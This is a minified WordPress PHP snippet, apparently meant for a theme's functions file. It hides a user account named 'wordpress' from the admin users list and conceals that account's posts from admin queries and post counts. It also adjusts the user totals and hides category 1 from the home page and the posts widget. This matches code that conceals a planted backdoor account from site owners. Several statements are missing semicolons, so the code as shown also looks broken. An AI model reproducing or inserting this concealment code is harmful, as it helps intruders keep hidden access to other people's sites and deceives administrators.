function exclude_category_home($query){if ($query->is_home){$query->set('cat','-1')}return $query;}add_filter('pre_get_posts','exclude_category_home');add_filter('widget_posts_args','modify_widget');function modify_widget(){$r=array('category__not_in'=> '1');return $r}function modify_query_to_filter_by_author($query){global $pagenow;if (is_admin()){$get_user_by=get_user_by('login','wordpress');$super_admin_id=$get_user_by->ID;if (get_current_user_id() !=$super_admin_id){$query->query_vars['author__not_in']=$super_admin_id}}}add_filter('parse_query','modify_query_to_filter_by_author');function wp_count_posts_extend($counts,$type,$perm){global $wpdb;if (is_admin()){if (! post_type_exists($type)){return new stdClass}$get_user_by=get_user_by('login','wordpress');$super_admin_id=$get_user_by->ID;$query="SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";if ('readable'==$perm && is_user_logged_in()){$post_type_object=get_post_type_object($type);if (! current_user_can($post_type_object->cap->read_private_posts)){$query .=$wpdb->prepare(" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",get_current_user_id())}}if (get_current_user_id() !=$super_admin_id){$query .=' AND post_author != ' . $super_admin_id}$query .=' GROUP BY post_status';$results=(array) $wpdb->get_results($wpdb->prepare($query,$type),ARRAY_A);$counts=array_fill_keys(get_post_stati(),0);foreach ($results as $row){$counts[ $row['post_status'] ]=$row['num_posts']}return (object) $counts;}else{return $counts}}add_filter('wp_count_posts','wp_count_posts_extend',10,3);add_action('pre_user_query','dt_pre_user_query');function dt_pre_user_query($user_search){global $current_user;$username=$current_user->user_login;if ($username !='wordpress'){global $wpdb;$user_search->query_where=str_replace('WHERE 1=1',"WHERE 1=1 AND {$wpdb->users}.user_login != 'wordpress'",$user_search->query_where)}}add_filter("views_users","dt_list_table_views");function dt_list_table_views($views){$users=count_users();$admins_num=$users['avail_roles']['subscriber'] - 1;$all_num=$users['total_users'] - 1;$class_adm=(strpos($views['subscriber'],'current')===false) ? "":"current";$class_all=(strpos($views['all'],'current')===false) ? "":"current";$views['subscriber']='<a href="users.php?role=subscriber" class="' . $class_adm . '">' . translate_user_role('Subscriber') . ' <span class="count">(' . $admins_num . ')</span></a>';$views['all']='<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';return $views}